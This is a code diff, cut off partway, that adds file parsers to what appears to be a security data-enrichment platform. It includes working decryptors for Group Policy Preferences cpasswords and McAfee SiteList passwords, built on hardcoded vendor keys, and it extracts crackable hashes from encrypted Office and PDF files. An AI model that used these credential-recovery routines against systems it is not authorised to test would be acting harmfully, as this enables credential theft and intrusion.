b/cmd/enrichment/enrichment/lib/file_parsers/group_policy_preferences.py @@ -0,0 +1,147 @@ +# Standard Libraries +import base64 +import datetime +import os +import re +from xml.dom import minidom + +# 3rd Party Libraries +import chardet +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb +import structlog +from Cryptodome.Cipher import AES +from Cryptodome.Util.Padding import unpad + +logger = structlog.get_logger(module=__name__) + + +def decrypt_cpassword(pw_enc_b64): + """ + Helper that decrypts a single Group Policy Preferences password. + + From https://github.com/ShutdownRepo/Get-GPPPassword/blob/main/Get-GPPPassword.py + License: GPLv3 + """ + if len(pw_enc_b64) != 0: + # thank you MS for publishing the key :) (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be) + key = b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20" b"\x9b\x09\xa4\x33\xb6\x6c\x1b" + # thank you MS for using a fixed IV :) + iv = b"\x00" * 16 + pad = len(pw_enc_b64) % 4 + if pad == 1: + pw_enc_b64 = pw_enc_b64[:-1] + elif pad == 2 or pad == 3: + pw_enc_b64 += "=" * (4 - pad) + pw_enc = base64.b64decode(pw_enc_b64) + ctx = AES.new(key, AES.MODE_CBC, iv) + pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size) + return pw_dec.decode("utf-16-le") + else: + return "" + + +def parse_gpp_xml(filename, originating_object_id, metadata) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Decrypes a cpassword group policy preferences .xml file, returning any decrypted passwords. + + Adapted from https://github.com/ShutdownRepo/Get-GPPPassword/blob/main/Get-GPPPassword.py + License: GPLv3 + """ + + parsed_data = pb.ParsedData() + auth_data_msg = pb.AuthenticationDataIngestionMessage() + + try: + auth_data_msg.metadata.CopyFrom(metadata) + + if not os.path.exists(filename): + filename = filename.replace("/", "\\") + + with open(filename, "rb") as f: + data = f.read() + + encoding = chardet.detect(data)["encoding"] + if encoding is not None: + filecontent = data.decode(encoding).rstrip() + if "cpassword" in filecontent: + try: + root = minidom.parseString(filecontent) + properties_list = root.getElementsByTagName("Properties") + + # function to get attribute if it exists, returns "" if empty + read_or_empty = lambda element, attribute: (element.getAttribute(attribute) if element.getAttribute(attribute) is not None else "") + + for properties in properties_list: + entry = parsed_data.group_policy_preferences.entries.add() + entry.username = read_or_empty(properties, "userName") + entry.cpassword = read_or_empty(properties, "cpassword") + entry.password = decrypt_cpassword(read_or_empty(properties, "cpassword")) + entry.action = read_or_empty(properties, "action") + entry.description = read_or_empty(properties, "description") + + if entry.password != "": + # signal that we do have parsed credentials + parsed_data.has_parsed_credentials = True + + if read_or_empty(properties, "acctDisabled") != "": + entry.disabled = bool(int(read_or_empty(properties, "acctDisabled"))) + if read_or_empty(properties, "neverExpires") != "": + entry.never_expires = bool(int(read_or_empty(properties, "neverExpires"))) + + if read_or_empty(properties.parentNode, "changed") != "": + dateString = read_or_empty(properties.parentNode, "changed") + dt = datetime.datetime.strptime(dateString, "%Y-%m-%d %H:%M:%S") + entry.changed.FromDatetime(dt) + + if entry.username and entry.password and entry.disabled is not True: + auth_data = auth_data_msg.data.add() + auth_data.data = entry.password + auth_data.username = entry.username + auth_data.type = "password" + if entry.description and entry.description != "": + auth_data.notes = f"cpassword decrypted from file_processor->group_policy_preferences\nparsed description: {entry.description}" + else: + auth_data.notes = "cpassword decrypted from file_processor->group_policy_preferences" + auth_data.originating_object_id = originating_object_id + + except Exception as e: + logger.exception(e, message="Error in parse_gpp_xml") + + return (parsed_data, auth_data_msg) + + except Exception as e: + return (helpers.nemesis_parsed_data_error(f"error parsing McAfee sitelist.xml file {filename} : {e}"), auth_data_msg) + + +class group_policy_preferences(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + regex_string = ".*/(Groups|Services|Scheduledtasks|DataSources|Printers|Drives)\\.xml$" + return re.search(regex_string, self.file_data.path, re.IGNORECASE) is not None + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria. + """ + if os.path.getsize(self.file_path) > 1000000: + return False + + return helpers.scan_with_yara(self.file_path, "group_policy_preferences") + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + return parse_gpp_xml(self.file_path, self.file_data.object_id, self.metadata) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/lnk.py b/cmd/enrichment/enrichment/lib/file_parsers/lnk.py new file mode 100644 index 0000000..770ae12 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/lnk.py @@ -0,0 +1,100 @@ +# Standard Libraries + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import LnkParse3 +import nemesispb.nemesis_pb2 as pb + + +class lnk(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + return self.file_data.path.lower().endswith(".lnk") + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria. + """ + return helpers.get_magic_type(self.file_path).startswith("MS Windows shortcut") + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + + parsed_data = pb.ParsedData() + + try: + with open(self.file_path, "rb") as f: + lnk = LnkParse3.lnk_file(f) + + lnk_json = lnk.get_json() + + if "working_directory" in lnk_json["data"]: + parsed_data.lnk.working_directory = lnk_json["data"]["working_directory"] + + if "description" in lnk_json["data"]: + parsed_data.lnk.comment = lnk_json["data"]["description"] + + if "command_line_arguments" in lnk_json["data"]: + parsed_data.lnk.command_line_arguments = lnk_json["data"]["command_line_arguments"] + + if ( + "extra" in lnk_json + and "DISTRIBUTED_LINK_TRACKER_BLOCK" in lnk_json["extra"] + and "machine_identifier" in lnk_json["extra"]["DISTRIBUTED_LINK_TRACKER_BLOCK"] + ): + parsed_data.lnk.machine_identifier = lnk_json["extra"]["DISTRIBUTED_LINK_TRACKER_BLOCK"]["machine_identifier"] + + if "file_size" in lnk_json["header"]: + parsed_data.lnk.target_file_size = lnk_json["header"]["file_size"] + + if "link_flags" in lnk_json["header"] and "RunAsUser" in lnk_json["header"]["link_flags"]: + parsed_data.lnk.run_as_admin = True + + if "location" in lnk_json["link_info"]: + parsed_data.lnk.location = lnk_json["link_info"]["location"].lower() + + if parsed_data.lnk.location == "local": + if "local_base_path" in lnk_json["link_info"]: + parsed_data.lnk.target = lnk_json["link_info"]["local_base_path"] + else: + parsed_data.lnk.target = "ERROR: no local_base_path" + elif parsed_data.lnk.location == "network": + if "net_name" in lnk_json["link_info"]["location_info"] and "common_path_suffix" in lnk_json["link_info"]: + base = lnk_json["link_info"]["location_info"]["net_name"] + target = lnk_json["link_info"]["common_path_suffix"] + parsed_data.lnk.target = f"{base}\\{target}" + else: + parsed_data.lnk.target = "ERROR: network net_name" + else: + parsed_data.lnk.target = "ERROR: not local or network" + + if "creation_time" in lnk_json["header"]: + # dt = datetime.datetime.strptime(lnk_json["header"]["creation_time"], "%Y-%m-%dT%H:%M:%S%z") + parsed_data.lnk.creation_time.FromDatetime(lnk_json["header"]["creation_time"]) + + if "accessed_time" in lnk_json["header"]: + parsed_data.lnk.accessed_time.FromDatetime(lnk_json["header"]["accessed_time"]) + + if "modified_time" in lnk_json["header"]: + parsed_data.lnk.modified_time.FromDatetime(lnk_json["header"]["modified_time"]) + + return (parsed_data, pb.AuthenticationDataIngestionMessage()) + + except Exception as e: + return ( + helpers.nemesis_parsed_data_error(f"error parsing lnk file {self.file_data.object_id} : {e}"), + pb.AuthenticationDataIngestionMessage(), + ) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/mcafee_sitelist.py b/cmd/enrichment/enrichment/lib/file_parsers/mcafee_sitelist.py new file mode 100644 index 0000000..4448a94 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/mcafee_sitelist.py @@ -0,0 +1,190 @@ +# Standard Libraries +import base64 +import codecs +import os +import re +import xml.etree.ElementTree as ET +from typing import Callable, Tuple +from unittest.mock import CallableMixin + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb +import structlog +from Cryptodome.Cipher import DES3 +from Cryptodome.Hash import SHA + +logger = structlog.get_logger(module=__name__) + + +def sitelist_xor(xs: bytes) -> bytes: + """ + Decryption helper. + + Adapted to Python3 from https://github.com/funoverip/mcafee-sitelist-pwd-decryption/blob/master/mcafee_sitelist_pwd_decrypt.py + Credit to funoverip + No license + """ + + decode_hex: Callable[[bytes], Tuple[bytes, int]] = codecs.getdecoder("hex_codec") # type: ignore + + # hardcoded XOR key + KEY: bytes = decode_hex(b"12150F10111C1A060A1F1B1817160519")[0] + + return bytes([c ^ KEY[i % 16] for i, c in enumerate(xs)]) + + +def decrypt_sitelist_password(b64data: str) -> str: + """ + Helper that decrypts a single base64 encypted sitelist password. + + Adapted to Python3 from https://github.com/funoverip/mcafee-sitelist-pwd-decryption/blob/master/mcafee_sitelist_pwd_decrypt.py + Credit to funoverip + No license + """ + + data = sitelist_xor(base64.b64decode(b64data)) + decode_hex = codecs.getdecoder("hex_codec") + + # hardcoded 3DES key + key = SHA.new(b"").digest() + decode_hex(b"00000000")[0] # type: ignore + + try: + des3 = DES3.new(key, DES3.MODE_ECB, None) + except: + des3 = DES3.new(key, DES3.MODE_ECB) + + decrypted = des3.decrypt(bytes(data)) + + # quick hack to ignore padding + return decrypted[0 : decrypted.find(b"\x00")].decode("utf-8") or "" + + +def process_sitelist_xml(file_path, originating_object_id, metadata) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Parses a McAfee Sitelist.xml file, extracts all data to a structured + format, and decrypts any encrypted passwords. + + Adapted to Python3 from https://github.com/funoverip/mcafee-sitelist-pwd-decryption/blob/master/mcafee_sitelist_pwd_decrypt.py + Credit to funoverip + No license + """ + + parsed_data = pb.ParsedData() + auth_data_msg = pb.AuthenticationDataIngestionMessage() + + try: + auth_data_msg.metadata.CopyFrom(metadata) + + my_tree = ET.parse(file_path) + root = my_tree.getroot() + + for sitelist in list(root): + nodes = list(sitelist) + + for node in nodes: + try: + entry = parsed_data.mcafee_sitelist.entries.add() + + type = node.get("Type") + if type: + entry.type = type + + name = node.get("Name") + if name: + entry.name = name + + server = node.get("Server") + if server: + entry.server = server + + enabled = node.get("Enabled") + if enabled: + entry.enabled = bool(int(enabled)) + + local = node.get("Local") + if local: + entry.local = bool(int(local)) + + for element in list(node): + name = element.tag + data = element.text + + if data: + if name.lower() == "password": + if element.get("Encrypted") == "1": + entry.password_encrypted = data + dec_pass = decrypt_sitelist_password(data) + entry.password = dec_pass + else: + entry.password = data + + # signal that we do have parsed credentials + parsed_data.has_parsed_credentials = True + + if re.search("^UserName$", name, re.IGNORECASE): + entry.username = data + elif re.search("^DomainName$", name, re.IGNORECASE): + entry.domain_name = data + elif re.search("^ShareName$", name, re.IGNORECASE): + entry.share_name = data + elif re.search("^RelativePath$", name, re.IGNORECASE): + entry.relativepath = data + elif re.search("^UseAuth$", name, re.IGNORECASE): + entry.useauth = bool(int(data)) + elif re.search("^UseLoggedonUserAccount$", name, re.IGNORECASE): + entry.used_loggedon_user_account = bool(int(data)) + + if entry.password and entry.password != "": + auth_data = auth_data_msg.data.add() + auth_data.data = entry.password + if entry.domain_name and entry.domain_name != "": + auth_data.uri = f"{entry.username}@{entry.domain_name}" + auth_data.username = f"{entry.domain_name}\\{entry.username}" + else: + auth_data.username = entry.username + auth_data.type = "password" + auth_data.notes = f"decrypted from file_processor->mcafee_sitelist\nType: {entry.type}\nName: {entry.name}\nServer: {entry.server}\nEnabled: {entry.enabled}\nLocal: {entry.local}" + auth_data.originating_object_id = originating_object_id + + except Exception as e: + logger.exception(e, message="Error in process_sitelist_xml") + + return (parsed_data, auth_data_msg) + + except Exception as e: + return ( + helpers.nemesis_parsed_data_error(f"error parsing McAfee sitelist.xml file {file_path} : {e}"), + pb.AuthenticationDataIngestionMessage(), + ) + + +class mcafee_sitelist(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + regex_string = ".*/SiteList\\.xml$" + return re.search(regex_string, self.file_data.path, re.IGNORECASE) is not None + + def check_content(self) -> bool: + """Returns True if the internal File contents matches our target criteria.""" + if os.path.getsize(self.file_path) > 1000000: + return False + + return helpers.scan_with_yara(self.file_path, "mcafee_sitelist") + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + return process_sitelist_xml(self.file_path, self.file_data.object_id, self.metadata) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/office_doc_new.py b/cmd/enrichment/enrichment/lib/file_parsers/office_doc_new.py new file mode 100644 index 0000000..cad6c24 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/office_doc_new.py @@ -0,0 +1,135 @@ +# Standard Libraries +import datetime +import re +import xml.dom.minidom +import zipfile + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb +from enrichment.lib.ext_tools.office2john import extract_file_encryption_hash + + +def get_office_metadata(file_path: str) -> pb.ParsedData: + """Gets some basic office metadata. + + Ref - https://github.com/profHajal/Microsoft-Office-Documents-Metadata-with-Python/blob/main/mso_md.py + No license + """ + + parsed_data = pb.ParsedData() + + try: + # try to extract the hash for this document, if it's successful we know it was encrypted + # I know this is a hack but it's here because the "CDFV2 Encrypted" encrypted .docx/etc. format doesn't play nicely as a ZIP + # Note: if the doc is encrypted, we can't get any metadata from it like we could the old OLE office format(s) + enc_hash = extract_file_encryption_hash(file_path) + if enc_hash and enc_hash.startswith("$o"): + parsed_data.is_encrypted = True + parsed_data.office_doc_new.is_encrypted = True + parsed_data.office_doc_new.encryption_hash = enc_hash + except: + pass + + if not parsed_data.office_doc_new.is_encrypted: + try: + myFile = zipfile.ZipFile(file_path, "r") + doc = xml.dom.minidom.parseString(myFile.read("docProps/core.xml")) + xml.dom.minidom.parseString(myFile.read("docProps/core.xml")).toprettyxml() + except: + pass + + try: + parsed_data.office_doc_new.title = doc.getElementsByTagName("dc:title")[0].childNodes[0].data + except: + pass + + try: + parsed_data.office_doc_new.subject = doc.getElementsByTagName("dc:subject")[0].childNodes[0].data + except: + pass + + try: + parsed_data.office_doc_new.creator = doc.getElementsByTagName("dc:creator")[0].childNodes[0].data + except: + pass + + try: + parsed_data.office_doc_new.keywords = doc.getElementsByTagName("cp:keywords")[0].childNodes[0].data + except: + pass + + try: + parsed_data.office_doc_new.description = doc.getElementsByTagName("dc:description")[0].childNodes[0].data + except: + pass + + try: + parsed_data.office_doc_new.last_modified_by = doc.getElementsByTagName("cp:lastModifiedBy")[0].childNodes[0].data + except: + pass + + try: + parsed_data.office_doc_new.revision = int(doc.getElementsByTagName("cp:revision")[0].childNodes[0].data) + except: + pass + + try: + dateString = doc.getElementsByTagName("dcterms:created")[0].childNodes[0].data + dt = datetime.datetime.strptime(dateString, "%Y-%m-%dT%H:%M:%Sz") + parsed_data.office_doc_new.created.FromDatetime(dt) + except: + pass + + try: + dateString = doc.getElementsByTagName("dcterms:modified")[0].childNodes[0].data + dt = datetime.datetime.strptime(dateString, "%Y-%m-%dT%H:%M:%Sz") + parsed_data.office_doc_new.modified.FromDatetime(dt) + except: + pass + + return parsed_data + + +class office_doc_new(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + regex_string = "^.*\\.(docx|pptx|xlsx)$" + return re.match(regex_string, self.file_data.path, re.IGNORECASE) is not None + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria. + """ + # right now only handles .docx, .xlxs, and .pptx (zip formats) + # TODO: expand formats + return helpers.scan_with_yara(self.file_path, "office_doc_new") + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + + auth_data_msg = pb.AuthenticationDataIngestionMessage() + parsed_data = get_office_metadata(self.file_path) + + if parsed_data.office_doc_new.HasField("encryption_hash"): + auth_data_msg.metadata.CopyFrom(self.metadata) + auth_data = auth_data_msg.data.add() + auth_data.data = parsed_data.office_doc_new.encryption_hash + auth_data.type = "hash_ms_office" + auth_data.notes = "hash extracted from file_processor->office_doc_new" + auth_data.originating_object_id = self.file_data.object_id + + return (parsed_data, auth_data_msg) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/office_doc_ole.py b/cmd/enrichment/enrichment/lib/file_parsers/office_doc_ole.py new file mode 100644 index 0000000..5292718 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/office_doc_ole.py @@ -0,0 +1,151 @@ +# Standard Libraries +import re + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb +import olefile +import structlog +from enrichment.lib.ext_tools.office2john import extract_file_encryption_hash + +logger = structlog.get_logger(module=__name__) + + +def get_office_ole_metadata(file_path: str) -> pb.ParsedData: + """ + Gets some basic office metadata. + """ + + parsed_data = pb.ParsedData() + + try: + if not olefile.isOleFile(file_path): + return helpers.nemesis_parsed_data_error(f"office document {file_path} is not OLE format") + + with olefile.OleFileIO(file_path) as ole: + meta = ole.get_metadata() + + try: + parsed_data.office_doc_ole.title = meta.title.decode("utf-8") + except: + pass + + try: + parsed_data.office_doc_ole.creator = meta.author.decode("utf-8") + except: + pass + + try: + parsed_data.office_doc_ole.created = meta.create_time + except: + pass + + try: + parsed_data.office_doc_ole.modified = meta.last_saved_time + except: + pass + + try: + parsed_data.office_doc_ole.keywords = meta.keywords.decode("utf-8") + except: + pass + + try: + parsed_data.office_doc_ole.comments = meta.comments.decode("utf-8") + except: + pass + + try: + parsed_data.office_doc_ole.last_modified_by = meta.last_saved_by.decode("utf-8") + except: + pass + + try: + parsed_data.office_doc_ole.subject = meta.subject.decode("utf-8") + except: + pass + + try: + parsed_data.office_doc_ole.creating_application = meta.creating_application.decode("utf-8") + except: + pass + + try: + parsed_data.office_doc_ole.total_edit_time = meta.total_edit_time + except: + pass + + try: + parsed_data.office_doc_ole.num_pages = meta.num_pages + except: + pass + + try: + parsed_data.office_doc_ole.num_slides = meta.num_slides + except: + pass + + try: + parsed_data.office_doc_ole.num_chars = meta.num_chars + except: + pass + + try: + parsed_data.office_doc_ole.is_encrypted = meta.security == 1 + parsed_data.is_encrypted = parsed_data.office_doc_ole.is_encrypted + + # if the document is encrypted, extract its hash + enc_hash = extract_file_encryption_hash(file_path) + + if enc_hash and enc_hash.startswith("$o"): + parsed_data.office_doc_ole.encryption_hash = enc_hash + except: + pass + + except Exception as e: + logger.exception(e, message="error parsing office ole file", file_path=file_path) + return helpers.nemesis_parsed_data_error(f"error parsing office ole file {file_path} : {e}") + + return parsed_data + + +class office_doc_ole(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + office_regex = "^.*\\.(doc|ppt|xls)$" + return re.match(office_regex, self.file_data.path, re.IGNORECASE) is not None + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria. + """ + return helpers.scan_with_yara(self.file_path, "office_doc_ole") + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + + auth_data_msg = pb.AuthenticationDataIngestionMessage() + parsed_data = get_office_ole_metadata(self.file_path) + + if parsed_data.office_doc_ole.HasField("encryption_hash"): + auth_data_msg.metadata.CopyFrom(self.metadata) + auth_data = auth_data_msg.data.add() + auth_data.data = parsed_data.office_doc_ole.encryption_hash + auth_data.type = "hash_ms_office" + auth_data.notes = "hash extracted from file_processor->office_doc_ole" + auth_data.originating_object_id = self.file_data.object_id + + return (parsed_data, auth_data_msg) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/passwd.py b/cmd/enrichment/enrichment/lib/file_parsers/passwd.py new file mode 100644 index 0000000..2ad2b8c --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/passwd.py @@ -0,0 +1,77 @@ +# Standard Libraries +import os + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb + + +class passwd(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + return self.file_data.path.lower().endswith("/passwd") + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria. + """ + + if os.path.getsize(self.file_path) > 1000000: + return False + + if self.file_data.magic_type != "ASCII text": + return False + + return helpers.scan_with_yara(self.file_path, "passwd") + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + try: + parsed_data = pb.ParsedData() + + with open(self.file_path, "r") as f: + + lines = f.readlines() + + for line in lines: + if line.startswith("#"): + continue + + if line.strip() == "": + continue + + fields = line.split(":") + + if len(fields) != 7: + continue + + shell = fields[6].strip() + + if shell.endswith("nologin") or shell.endswith("false"): + continue + + else: + entry = parsed_data.passwd.entries.add() + entry.username = fields[0] + entry.user_id = fields[2] + entry.group_id = fields[3] + entry.home_directory = fields[5] + entry.shell = shell + + return (parsed_data, pb.AuthenticationDataIngestionMessage()) + + except Exception as e: + return (helpers.nemesis_parsed_data_error(f"error parsing passwd file {self.file_data.object_id} : {e}"), pb.AuthenticationDataIngestionMessage()) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/pdf.py b/cmd/enrichment/enrichment/lib/file_parsers/pdf.py new file mode 100644 index 0000000..7b38db4 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/pdf.py @@ -0,0 +1,101 @@ +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import nemesispb.nemesis_pb2 as pb +from enrichment.lib.ext_tools.pdf2john import PdfParser + +# from pypdf import PdfReader +from pypdf import PdfReader + + +class pdf(Meta.FileType): + def __init__(self, file_path: str, file_data: pb.FileDataEnriched, metadata: pb.Metadata): + if type(file_data) == pb.FileDataEnriched: + self.file_data = file_data + self.metadata = metadata + self.file_path = file_path + else: + raise Exception("Input was not a file_data object") + + def check_path(self) -> bool: + """ + Returns True if the internal File path matches our target criteria. + """ + return self.file_data.path.lower().endswith(".pdf") + + def check_content(self) -> bool: + """ + Returns True if the internal File contents matches our target criteria. + """ + return "pdf document" in self.file_data.magic_type.lower() + + def parse(self) -> tuple[pb.ParsedData, pb.AuthenticationDataIngestionMessage]: + """ + Parses the file if parsing is defined, including any reversible decryption. + """ + + parsed_data = pb.ParsedData() + auth_data_msg = pb.AuthenticationDataIngestionMessage() + + try: + auth_data_msg.metadata.CopyFrom(self.metadata) + + reader = PdfReader(self.file_path) + + parsed_data.pdf.is_encrypted = reader.is_encrypted + parsed_data.is_encrypted = reader.is_encrypted + + if parsed_data.pdf.is_encrypted: + # if the doc is encrypted we can't read the metadata + + # our encrypted parser + parser = PdfParser(self.file_path) + + try: + hash = parser.parse() + if hash: + parsed_data.pdf.encryption_hash = hash.strip() + auth_data = auth_data_msg.data.add() + auth_data.data = parsed_data.pdf.encryption_hash + auth_data.type = "hash_pdf" + auth_data.notes = "hash extracted from file_processor->pdf" + auth_data.originating_object_id = self.file_data.object_id + except: + pass + + return (parsed_data, auth_data_msg) + + else: + # if the doc is NOT encrypted we CAN read the metadata + meta = reader.metadata + + if not meta: + return (parsed_data, pb.AuthenticationDataIngestionMessage()) + + parsed_data.pdf.num_pages = len(reader.pages) + + if meta.title: + parsed_data.pdf.title = meta.title + + if meta.author: + parsed_data.pdf.author = meta.author + + if meta.subject: + parsed_data.pdf.subject = meta.subject + + if meta.creator: + parsed_data.pdf.creator = meta.creator + + if meta.producer: + parsed_data.pdf.producer = meta.producer + + if meta.creation_date: + parsed_data.pdf.created.FromDatetime(meta.creation_date) + + if meta.modification_date: + parsed_data.pdf.modified.FromDatetime(meta.modification_date) + + return (parsed_data, pb.AuthenticationDataIngestionMessage()) + + except Exception as e: + return (helpers.nemesis_parsed_data_error(f"error parsing pdf file {self.file_data.object_id} : {e}"), pb.AuthenticationDataIngestionMessage()) diff --git a/cmd/enrichment/enrichment/lib/file_parsers/pe.py b/cmd/enrichment/enrichment/lib/file_parsers/pe.py new file mode 100644 index 0000000..925d6bd --- /dev/null +++ b/cmd/enrichment/enrichment/lib/file_parsers/pe.py @@ -0,0 +1,166 @@ +# Standard Libraries +import datetime +import json + +# 3rd Party Libraries +import enrichment.lib.file_parsers.Meta as Meta +import enrichment.lib.helpers as helpers +import lief +import nemesispb.nemesis_pb2 as pb +import structlog + +logger = structlog.get_logger(module=__name__) + + +def format_optional_header(pe, parsed_data): + parsed_data.pe.header.major_image_version = pe.optional_header.major_image_version + parsed_data.pe.header.major_linker_version = pe.optional_header.major_linker_version + parsed_data.pe.header.major_operating_system_version = pe.optional_header.major_operating_system_version + parsed_data.pe.header.major_subsystem_version = pe.optional_header.major_subsystem_version + parsed_data.pe.header.minor_image_version = pe.optional_header.minor_image_version + parsed_data.pe.header.minor_linker_version = pe.optional_header.minor_linker_version + parsed_data.pe.header.minor_operating_system_version = pe.optional_header.minor_operating_system_version + parsed_data.pe.header.minor_subsystem_version = pe.optional_header.minor_subsystem_version + parsed_data.pe.header.time_date_stamp.FromDatetime(datetime.datetime.fromtimestamp(pe.header.time_date_stamps)) + + +def format_export(pe, parsed_data): + for entry in pe.exported_functions: + symbol = parsed_data.pe.exports.symbols.add() + symbol.func_name = entry.name + symbol.offset = pe.optional_header.imagebase + entry.address + + +def format_import(pe, parsed_data): + for imp in pe.imports: + dll = parsed_data.pe.imports.dlls.add() + dll.name = imp.name + + for entry in imp.entries: + if entry.name: + func = dll.symbols.add() + func.func_name = entry.name + func.offset = entry.iat_value + + +def format_signatures(pe, parsed_data): + for sig in pe.signatures: + signature = parsed_data.pe.signatures.add() + signature.version = sig.version + + for signer in sig.signers: + signature.signers.extend([signer.issuer]) + + signature.verification_flags = sig.check() + + +def format_version_info(pe, parsed_data): + if pe.resources: + raw = json.loads(lief.to_json(pe.resources_manager.version.string_file_info)) + version_info_json = raw["langcode_items"][0]["items"] + + if "Assembly Version" in version_info_json: + parsed_data.pe.version_info.assembly_version = version_info_json["Assembly Version"] + if "Comments" in version_info_json: + parsed_data.pe.version_info.comments = version_info_json["Comments"] + if "CompanyName" in version_info_json: + parsed_data.pe.version_info.company_name = version_info_json["CompanyName"] + if "FileDescription" in version_info_json: + parsed_data.pe.version_info.file_description = version_info_json["FileDescription"] + if "FileVersion" in version_info_json: + parsed_data.pe.version_info.file_version = version_info_json["FileVersion"] + if "InternalName" in version_info_json: + parsed_data.pe.version_info.internal_name = version_info_json["InternalName"] + if "LegalCopyright" in version_info_json: + parsed_data.pe.version_info.legal_copyright = version_info_json["LegalCopyright"] + if "LegalTrademarks" in version_info_json: + parsed_data.pe.version_info.legal_trademarks = version_info_json["LegalTrademarks"] + if "OriginalFilename" in version_info_json: + parsed_data.pe.version_info.original_filename = version_info_json["OriginalFilename"] + if "PrivateBuild" in version_info_json: + parsed_data.pe.version_info.private_build = version_info_json["PrivateBuild"] + if "ProductName" in version_info_json: + parsed_data.pe.version_info.product_name = version_info_json["ProductName"] + if "ProductVersion" in version_info_json: + parsed_data.pe.version_info.product_version = version_info_json["ProductVersion"] + if "SpecialBuild" in version_info_json: + parsed_data.pe.version_info.special_build = version_info_json["SpecialBuild"] + + +def parse_pe(filename: str) -> pb.ParsedData: + """ + Parses a PE to a formatted protobuf. + """ + try: + parsed_data = pb.ParsedData() + + pe = lief.parse(filename) + + try: + format_import(pe, parsed_data) + except Exception as e: + logger.exception(e, message="Exception parsing imports in parse_pe()") + + try: + format_optional_header(pe, parsed_data) + except Exception as e: + logger.exception(e, message="Exception parsing optional headers in parse_pe()") + + try: + format_export(pe, parsed_data) + except Exception as e: + logger.exception(e, message="Exception parsing exports in parse_pe()") + + try: + format_version_info(pe, parsed_data) + except Exception as e: + 